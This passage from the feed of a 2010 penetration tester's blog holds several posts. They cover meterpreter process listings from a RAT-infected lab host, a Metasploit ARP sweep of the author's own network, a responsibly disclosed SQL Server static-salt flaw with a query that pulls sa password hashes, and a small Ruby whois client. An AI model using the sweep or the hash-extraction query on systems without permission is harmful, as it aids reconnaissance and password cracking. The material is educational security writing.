AUTHORITY\SYSTEM           C:\WINDOWS\System32\svchost.exe&lt;br /&gt; 1184  svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1280  svchost.exe       x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1448  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\spoolsv.exe&lt;br /&gt; 1704  explorer.exe      x86   0        VIKTIM2\viktim                C:\WINDOWS\Explorer.EXE&lt;br /&gt; 1860  msdtc.exe         x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\msdtc.exe&lt;br /&gt; 352   mqsvc.exe         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mqsvc.exe&lt;br /&gt; 832   mqtgsvc.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mqtgsvc.exe&lt;br /&gt; 768   alg.exe           x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\System32\alg.exe&lt;br /&gt; 4032  sqlservr.exe      x86   0        NT AUTHORITY\NETWORK SERVICE  c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe&lt;br /&gt; 4052  inetinfo.exe      x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\inetsrv\inetinfo.exe&lt;br /&gt; 4044  dllhost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\dllhost.exe&lt;br /&gt; 3692  dllhost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\dllhost.exe&lt;br /&gt; 3896  IEXPLORE.EXE      x86   0        NT AUTHORITY\SYSTEM           C:\Program Files\Internet Explorer\IEXPLORE.EXE&lt;br /&gt; 2988  IEXPLORE.EXE      x86   0        VIKTIM2\viktim                C:\Program Files\Internet Explorer\IEXPLORE.EXE&lt;br /&gt; 916   IEXPLORE.EXE      x86   0        VIKTIM2\viktim                C:\Program Files\Internet Explorer\IEXPLORE.EXE&lt;br /&gt; 3448  IEXPLORE.EXE      x86   0        VIKTIM2\viktim                C:\Program Files\Internet Explorer\iexplore.exe&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Hmm.. Nothing really stands out. &lt;br /&gt;For fun, I killed the server from the sharK SIN, and compare the process table without the RAT running:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;meterpreter &gt; ps&lt;br /&gt;&lt;br /&gt;Process list&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt; PID   Name              Arch  Session  User                          Path&lt;br /&gt; ---   ----              ----  -------  ----                          ----&lt;br /&gt; 0     [System Process]                                               &lt;br /&gt; 4     System            x86   0        NT AUTHORITY\SYSTEM           &lt;br /&gt; 632   smss.exe          x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe&lt;br /&gt; 680   csrss.exe         x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe&lt;br /&gt; 704   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe&lt;br /&gt; 748   services.exe      x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe&lt;br /&gt; 764   lsass.exe         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe&lt;br /&gt; 940   svchost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 988   svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1108  svchost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\System32\svchost.exe&lt;br /&gt; 1184  svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1280  svchost.exe       x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1448  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\spoolsv.exe&lt;br /&gt; 1704  explorer.exe      x86   0        VIKTIM2\viktim                C:\WINDOWS\Explorer.EXE&lt;br /&gt; 1860  msdtc.exe         x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\msdtc.exe&lt;br /&gt; 352   mqsvc.exe         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mqsvc.exe&lt;br /&gt; 832   mqtgsvc.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mqtgsvc.exe&lt;br /&gt; 768   alg.exe           x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\System32\alg.exe&lt;br /&gt; 4032  sqlservr.exe      x86   0        NT AUTHORITY\NETWORK SERVICE  c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe&lt;br /&gt; 4052  inetinfo.exe      x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\inetsrv\inetinfo.exe&lt;br /&gt; 4044  dllhost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\dllhost.exe&lt;br /&gt; 3692  dllhost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\dllhost.exe&lt;br /&gt; 3896  IEXPLORE.EXE      x86   0        NT AUTHORITY\SYSTEM           C:\Program Files\Internet Explorer\IEXPLORE.EXE&lt;br /&gt; 2988  IEXPLORE.EXE      x86   0        VIKTIM2\viktim                C:\Program Files\Internet Explorer\IEXPLORE.EXE&lt;br /&gt; 3364  IEXPLORE.EXE      x86   0        VIKTIM2\viktim                C:\Program Files\Internet Explorer\iexplore.exe&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;If you can't see a difference between the 'infected' and 'not infected' states, it's because there's not much of one.&lt;br /&gt;Here's the output from running the 'diff' command on the process tables:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt; $ diff running notrunning&lt;br /&gt;32,33c32&lt;br /&gt;&lt;  916   IEXPLORE.EXE      x86   0        VIKTIM2\viktim                C:\Program Files\Internet Explorer\IEXPLORE.EXE&lt;br /&gt;&lt;  3448  IEXPLORE.EXE      x86   0        VIKTIM2\viktim                C:\Program Files\Internet Explorer\iexplore.exe&lt;br /&gt;---&lt;br /&gt;&gt;  3364  IEXPLORE.EXE      x86   0        VIKTIM2\viktim                C:\Program Files\Internet Explorer\iexplore.exe&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;As you can see, it's pretty tough to tell that this host is compromised just based on that. &lt;br /&gt;&lt;br /&gt;You could see that it was compromised in the network traffic perhaps, as the RAT communicates with its control center. However, if a standard port was being used for the comms (say, TCP/80 for example) it could be difficult to tell even then without looking at the actual packets to examine the data.&lt;br /&gt;&lt;br /&gt;Like I said, this wasn't really something I just figured out, it was just a very nice, clearly defined example of it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-7164760918273851661?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/7164760918273851661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/03/even-when-you-know-youre-pwnd-its-hard.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/7164760918273851661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/7164760918273851661'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/03/even-when-you-know-youre-pwnd-its-hard.html' title='Even When You Know You&apos;re Pwnd, It&apos;s Hard To See'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_YWhkVQJDZyw/S6uh5b3LCJI/AAAAAAAAAnY/toZhbtgBEho/s72-c/shark_01.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-16728914494391052</id><published>2010-03-04T00:01:00.009-05:00</published><updated>2010-03-23T00:53:08.405-04:00</updated><title type='text'>Finding Live Hosts on the Local Network Segment Using Metasploit</title><content type='html'>I've been learning ruby of late, and one way I'm doing that is by tearing into Metasploit. This has a few nice benefits for me:&lt;br /&gt;&lt;br /&gt;* I get to see real code, written by smart people&lt;br /&gt;* I get to learn metasploit a lot better&lt;br /&gt;* I get to figure out how to write my own modules for metasploit&lt;br /&gt;&lt;br /&gt;Since I've got a couple of arp flood/sweep scripts I've written in both perl and python, I figured that'd be a decent place to start.&lt;br /&gt;&lt;br /&gt;It turns out that metasploit has a module already to do this (arp_sweep.rb), so I started out by taking a look at it. At first, I thought it didn't do an active sweep, because it appeared to operate on a pcap file only. I tweeted a question to #metasploit about that, and was quickly informed by &lt;a href="https://twitter.com/hdmoore"&gt;@hdmoore&lt;/a&gt; that the module does indeed work on the target network, I just needed to set the INTERFACE option.&lt;br /&gt;&lt;br /&gt;At that point I realized I should probably stop relying on just the code, and start poking at things from within the console =)&lt;br /&gt;&lt;br /&gt;First thing's first, the arp_sweep module relies on pcaprub. Because I'm using Ubuntu 9.10 (Karmic Koala) vs. something like Backtrack, this module was not already configured. I found a great &lt;a href="http://www.darkoperator.com/installing-metasploit-in-ubunt/"&gt;post&lt;/a&gt; over at darkoperator.com which explained, among other things, how to get this working. Here are the steps I took:     &lt;br /&gt;&lt;br /&gt;From inside my metasploit svn trunk directory &lt;em&gt;(~/src/svn/metasploit/framework3/trunk in my case)&lt;/em&gt;, I ran the following: &lt;br /&gt;&lt;pre&gt;   $ cd external/pcaprub&lt;br /&gt;   $ ruby extconf.rb &amp;&amp; make&lt;br /&gt;   $ sudo make install&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Note that you need to have the libpcap-dev package in order for the compile of pcaprub to work. &lt;br /&gt;&lt;br /&gt;Once I had that done, I returned to the main trunk directory, and ran msfconsole as root (that last bit is important, the arp sweep must be run as root in linux as far as I can tell, due to the fact that the module puts the interface into promiscuous mode to capture the ARP replies):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;root:~/msf# ./msfconsole &lt;br /&gt;&lt;br /&gt;                 o                       8         o   o&lt;br /&gt;                 8                       8             8&lt;br /&gt;ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P&lt;br /&gt;8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8&lt;br /&gt;8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8&lt;br /&gt;8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8&lt;br /&gt;..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:&lt;br /&gt;::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::&lt;br /&gt;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]&lt;br /&gt;+ -- --=[ 528 exploits - 248 auxiliary&lt;br /&gt;+ -- --=[ 196 payloads - 23 encoders - 8 nops&lt;br /&gt;       =[ svn r8703 updated today (2010.03.03)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The next thing that happens when I load msfconsole is that a bunch of stuff I have set in my msfconsole.rc gets loaded. If you want more information on what that means, Mubix has a great &lt;a href="http://practicalexploitation.com/post/408582056/in-this-video-we-go-over-resource-files-the-msf3"&gt;introduction to metasploit rc files&lt;/a&gt; at his practical exploitation site. Here's what it looks like:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;resource (/root/.msf3/msfconsole.rc)&gt; color false&lt;br /&gt;resource (/root/.msf3/msfconsole.rc)&gt; setg RHOSTS 10.0.1.0/24&lt;br /&gt;RHOSTS =&gt; 10.0.1.0/24&lt;br /&gt;resource (/root/.msf3/msfconsole.rc)&gt; setg RHOST 10.0.1.75&lt;br /&gt;RHOST =&gt; 10.0.1.75&lt;br /&gt;resource (/root/.msf3/msfconsole.rc)&gt; setg LHOST 10.0.1.51&lt;br /&gt;LHOST =&gt; 10.0.1.51&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The LHOST setting reflects the IP address of my testing host, the RHOST setting is a victim host I have on my network specifically to attack, and the RHOSTS is my lab network. The color false is there for a few reasons, one of them being that I like transparent term windows and color text sometimes doesn't play well with that.&lt;br /&gt;&lt;br /&gt;The next step is to load the arp_sweep module and check out what options it takes. The module is in the auxiliary tree within metasploit, and can be loaded like so:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;msf &gt; use auxiliary/scanner/discovery/arp_sweep&lt;br /&gt;msf auxiliary(arp_sweep) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;   Name       Current Setting  Required  Description&lt;br /&gt;   ----       ---------------  --------  -----------&lt;br /&gt;   INTERFACE                   no        The name of the interface&lt;br /&gt;   PCAPFILE                    no        The name of the PCAP capture file to process&lt;br /&gt;   RHOSTS     10.0.1.0/24      yes       The target address range or CIDR identifier&lt;br /&gt;   SHOST                       yes       Source IP Address&lt;br /&gt;   SMAC                        yes       Source MAC Address&lt;br /&gt;   THREADS    1                yes       The number of concurrent threads&lt;br /&gt;   TIMEOUT    500              yes       The number of seconds to wait for new data&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;You can see here some of the effects of the resource file that was loaded earlier, the RHOSTS option is already set for me. I need to set a couple of other things though to make this work, like the source IP address and MAC, as well as the aforementioned INTERFACE setting:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;msf auxiliary(arp_sweep) &gt; set SHOST 10.0.1.51&lt;br /&gt;SHOST =&gt; 10.0.1.51&lt;br /&gt;msf auxiliary(arp_sweep) &gt; set INTERFACE wlan0&lt;br /&gt;INTERFACE =&gt; wlan0&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;To set the SMAC option, I need to find the MAC address of my network adapter. Because I'm using wireless for my testing, I need to grab that information from the wlan0 interface. Fortunately, ifconfig provides this information. Even more fortunately, metasploit allows system commands to be run from within the console, so I can get this quite easily. :&lt;br /&gt;&lt;pre&gt;msf auxiliary(arp_sweep) &gt; ifconfig wlan0&lt;br /&gt;[*] exec: ifconfig wlan0&lt;br /&gt;&lt;br /&gt;wlan0     Link encap:Ethernet  HWaddr 00:1b:77:df:e9:ae  &lt;br /&gt;          inet addr:10.0.1.51  Bcast:10.0.1.255  Mask:255.255.255.0&lt;br /&gt;          inet6 addr: fe80::21b:77ff:fedf:e9ae/64 Scope:Link&lt;br /&gt;          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;          RX packets:8229414 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:12543574 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:1000 &lt;br /&gt;          RX bytes:2582588276 (2.5 GB)  TX bytes:797473527 (797.4 MB)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now that I have the MAC address (it's presented in the HWaddr string above), I can set the last option:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;msf auxiliary(arp_sweep) &gt; set SMAC 00:1b:77:df:e9:ae&lt;br /&gt;SMAC =&gt; 00:1b:77:df:e9:ae&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;One more thing to change; I like to increase the thread count to keep things moving quickly:&lt;br /&gt;&lt;pre&gt;msf auxiliary(arp_sweep) &gt; set THREADS 20&lt;br /&gt;THREADS =&gt; 20&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now I run show options once more to make sure the changes I made look right:&lt;br /&gt;&lt;pre&gt;msf auxiliary(arp_sweep) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;   Name       Current Setting    Required  Description&lt;br /&gt;   ----       ---------------    --------  -----------&lt;br /&gt;   INTERFACE  wlan0              no        The name of the interface&lt;br /&gt;   PCAPFILE                      no        The name of the PCAP capture file to process&lt;br /&gt;   RHOSTS     10.0.1.0/24        yes       The target address range or CIDR identifier&lt;br /&gt;   SHOST      10.0.1.51          yes       Source IP Address&lt;br /&gt;   SMAC       00:1b:77:df:e9:ae  yes       Source MAC Address&lt;br /&gt;   THREADS    20                 yes       The number of concurrent threads&lt;br /&gt;   TIMEOUT    500                yes       The number of seconds to wait for new data&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And then I can run the module:&lt;br /&gt;&lt;pre&gt;msf auxiliary(arp_sweep) &gt; run&lt;br /&gt;&lt;br /&gt;[*] 10.0.1.1 appears to be up.&lt;br /&gt;[*] 10.0.1.2 appears to be up.&lt;br /&gt;[*] 10.0.1.5 appears to be up.&lt;br /&gt;[*] 10.0.1.18 appears to be up.&lt;br /&gt;[*] 10.0.1.49 appears to be up.&lt;br /&gt;[*] 10.0.1.50 appears to be up.&lt;br /&gt;[*] 10.0.1.75 appears to be up.&lt;br /&gt;[*] Scanned 256 of 256 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Excellent! I got a nice list of live hosts on the local network segement using ARP.&lt;br /&gt;&lt;br /&gt;I'll talk about why this is useful (over something like tcp portscanning the local network) in a blog post soon.&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;I should mention by the way: if you wanted to do this outside of metasploit, you could do something like the following:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ for i in `seq 0 254`; do sudo arping -I wlan0 -c1 -f 10.0.1.$i; done |grep Unicast&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The results aren't nearly as pretty (nor are they as quickly gotten):&lt;br /&gt;&lt;pre&gt;Unicast reply from 10.0.1.1 [00:0E:08:ED:A8:B1]  2.028ms&lt;br /&gt;Unicast reply from 10.0.1.2 [00:15:62:FF:D6:06]  1.248ms&lt;br /&gt;Unicast reply from 10.0.1.5 [00:20:00:38:20:6C]  2.548ms&lt;br /&gt;Unicast reply from 10.0.1.18 [00:1D:73:A4:0A:AD]  1.182ms&lt;br /&gt;Unicast reply from 10.0.1.49 [00:1F:3C:CD:50:1C]  1.652ms&lt;br /&gt;Unicast reply from 10.0.1.50 [00:21:97:47:6C:80]  1.766ms&lt;br /&gt;Unicast reply from 10.0.1.75 [00:02:55:42:08:0D]  1.203ms&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-16728914494391052?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/16728914494391052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/03/finding-live-hosts-on-local-network.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/16728914494391052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/16728914494391052'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/03/finding-live-hosts-on-local-network.html' title='Finding Live Hosts on the Local Network Segment Using Metasploit'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-1294459024251683756</id><published>2010-03-02T19:49:00.010-05:00</published><updated>2010-03-02T21:34:01.282-05:00</updated><title type='text'>SQL Server 2005 (and 2008) Static Salt</title><content type='html'>While performing a database security review for a client, I noticed that the password hashes for the 'sa' user in the master.sys.sql_logins table all had the same salt. This was true on 4 separate SQL server instances across 4 different hosts.&lt;br /&gt;&lt;br /&gt;Naturally, this piqued my curiousity, so I proceeded to investigate on as many SQL Server 2005 instances as I could get my hands on, and found that the salt was the same across the board.&lt;br /&gt;&lt;br /&gt;To expound a bit:&lt;br /&gt;If you run the following SQL statement:&lt;br /&gt;&lt;pre&gt;SELECT password_hash FROM master.sys.sql_logins WHERE name = 'sa'&lt;/pre&gt;&lt;br /&gt;the whole password hash looks something like this:&lt;br /&gt;&lt;pre&gt;0x01004086CEB6A06CF5E90B58D455C6795DFCE73A9C9570B31F21&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The way that value breaks down is like so:&lt;br /&gt;&lt;pre&gt;0x         : this is a hex value (the column is of type varbinary)&lt;br /&gt;0100       : "throw away" constant bytes&lt;br /&gt;4086CEB6   : the hash salt&lt;/pre&gt;&lt;br /&gt;the remainder of the value is the hashed password value.&lt;br /&gt;&lt;br /&gt;Since we're only interested in bytes 3 - 6, we can use the SQL SUBSTRING() function to pull the part we care about like so:&lt;br /&gt;&lt;pre&gt;  SELECT SUBSTRING(password_hash,3,4) AS sa_hash_bytes&lt;br /&gt;  FROM master.sys.sql_logins WHERE name = 'sa';&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;On each SQL Server instance I tested, the salt was the same &lt;br /&gt;&lt;em&gt;(0x4086CEB6)&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This was true across Service Packs, and differing versions of both the DBMS platform as well as OS.&lt;br /&gt;&lt;br /&gt;Here's the output from 'SELECT @@version' on my test instances (minus the date and copyright):&lt;br /&gt;&lt;pre&gt;Microsoft SQL Server 2005 - 9.00.4053.00 (Intel X86)&lt;br /&gt; Express Edition on Windows NT 6.0 (Build 6001: Service Pack 1)&lt;br /&gt;&lt;br /&gt;Microsoft SQL Server 2005 - 9.00.4053.00 (Intel X86)&lt;br /&gt; Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)&lt;br /&gt;&lt;br /&gt;Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)&lt;br /&gt; Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)&lt;br /&gt;&lt;br /&gt;Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)&lt;br /&gt; Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I did some checking to see if this was a known issue, and was unable to find either an article/post describing this, nor an individual in the industry that had heard about it. &lt;br /&gt;&lt;br /&gt;While this isn't a "sexy" BoF or anything, it does leaves SQL server administrative passwords open to password cracking (eg. by using a precomputed table of SHA1 hashes using the static known salt, one can dramatically decrease the time it takes to crack an sa user password...on any SQL Server 2005 or 2008 instance.) Additionally, once a password has been acquired, it may be possible to use that same password in other locations on a network if the administrators use a common password (or a common OS image for servers...). &lt;br /&gt;&lt;br /&gt;The real risk this poses is fairly minor, since by default in the affected SQL Server versions normal users lack access to the column containing the password hash. However, there are a great deal of applications out there which use privileged accounts to access the database back end they use; and there are an even greater number of applications which contain SQL Injection vulnerabilities. In my mind, there's likely to be a fair amount of overlap in those 2 vectors, which would then leave a system potentially exposed to exploitation through this method.&lt;br /&gt;&lt;br /&gt;Accordingly I decided to contact &lt;a href="http://www.microsoft.com/Security/msrc/default.aspx"&gt;Microsoft&lt;/a&gt;. (I'll leave discussion about Full Disclosure for some other post) I have to say, it was pretty decent working with the MSRC, they were quite competent and very forthcoming. Whatever else can be said about Microsoft, it's clear that they have come a long way in dealing with vulnerabilities, which I am very happy to report.&lt;br /&gt;&lt;br /&gt;The end result of all this is a &lt;a href="http://support.microsoft.com/kb/980671"&gt;Microsoft KB Article&lt;/a&gt; that explains more about the issue, along with some workarounds. According to that article, this will be fixed in SQL Server service packs at some point. &lt;br /&gt;&lt;br /&gt;For those that are curious, the entire process took less than 3 months (I first reported the issue to Microsoft on December 11, 2009.) In my opinion, that's an acceptable time frame for a large company to address what is an admittedly minor security issue, particularly given the fact that there are a number of major (and minor) holidays which take place in that time span.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-1294459024251683756?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/1294459024251683756/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/03/sql-server-2005-and-2008-static-salt.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/1294459024251683756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/1294459024251683756'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/03/sql-server-2005-and-2008-static-salt.html' title='SQL Server 2005 (and 2008) Static Salt'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-4799038680637953818</id><published>2010-03-01T22:49:00.005-05:00</published><updated>2010-03-02T21:48:35.712-05:00</updated><title type='text'>playing with ruby</title><content type='html'>i started playing around with ruby recently.&lt;br /&gt;one of the first things i figured i'd do is muck about with sockets.&lt;br /&gt;it turns out that's brain dead easy with ruby, which i was happy to discover.&lt;br /&gt;here's a quick and dirty whois client i whipped up as a way to learn the syntax etc.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;require "socket"&lt;br /&gt;&lt;br /&gt;rr = Array.new&lt;br /&gt;whoisrv = "whois.arin.net"&lt;br /&gt;port = "43"&lt;br /&gt;qry = "208.105.198.137"&lt;br /&gt;&lt;br /&gt;s = TCPSocket.open(whoisrv, port)&lt;br /&gt;s.puts(qry)&lt;br /&gt;while rr = s.gets&lt;br /&gt;   puts rr&lt;br /&gt;end&lt;br /&gt;s.close&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-4799038680637953818?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/4799038680637953818/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/03/playing-with-ruby.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4799038680637953818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4799038680637953818'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/03/playing-with-ruby.html' title='playing with ruby'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-3193864751845102018</id><published>2009-09-18T14:59:00.004-04:00</published><updated>2009-09-18T15:13:50.267-04:00</updated><title type='text'>Maltego, Technorati, and Creative Commons Licensing Failure</title><content type='html'>I've been using Paterva's Maltego software quite a bit lately in my testing. This software is a fantastic tool, and provides a great way to obtain a great deal of information about an organization or individual. It comes in two flavors, a community edition which is free, and a commercial edition which is not. Because I am using this for my job, I have the commercial version of Maltego.&lt;br /&gt;&lt;br /&gt;Like I said, Maltego is a fantastic tool, but there's one thing that bugs me about it; A number of the most interesting transforms that come with the product use the Technorati search engine to provide information about an entity (for those that don't know, Technorati is a search engine that pulls information from the blogosphere and various social networks).&lt;br /&gt;&lt;br /&gt;The problem is that the Technorati search engine uses the Creative Commons license for its technology, and they chose to go with the one that disallows commercial use. &lt;br /&gt;&lt;br /&gt;That's fine, it's their code, they can license it however they want. My problem isn't so much with them, as with Paterva for choosing to use their stuff in the Maltego product. Because I am hired by clients to perform this discovery, I am unable to use these transforms in Maltego (at least, as far as my understanding of the licensing goes) and so I have them disabled. &lt;br /&gt;&lt;br /&gt;"So what?" you may ask. Well, what this means is that attackers using the free version of Maltego can get potentially useful information about a given company which a tester hired by the company, using the paid version of Maltego, can't legally provide. (I should mention here that I have tried looking into whether Technorati provides a way to license their technology for commercial use, and as far as I can tell, there is no way to do so.)&lt;br /&gt;&lt;br /&gt;This strikes me as insane, and not a GoodThing(tm) at all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-3193864751845102018?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/3193864751845102018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2009/09/maltego-technorati-and-creative-commons.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/3193864751845102018'/><link rel='self' type='application/atom+xml' 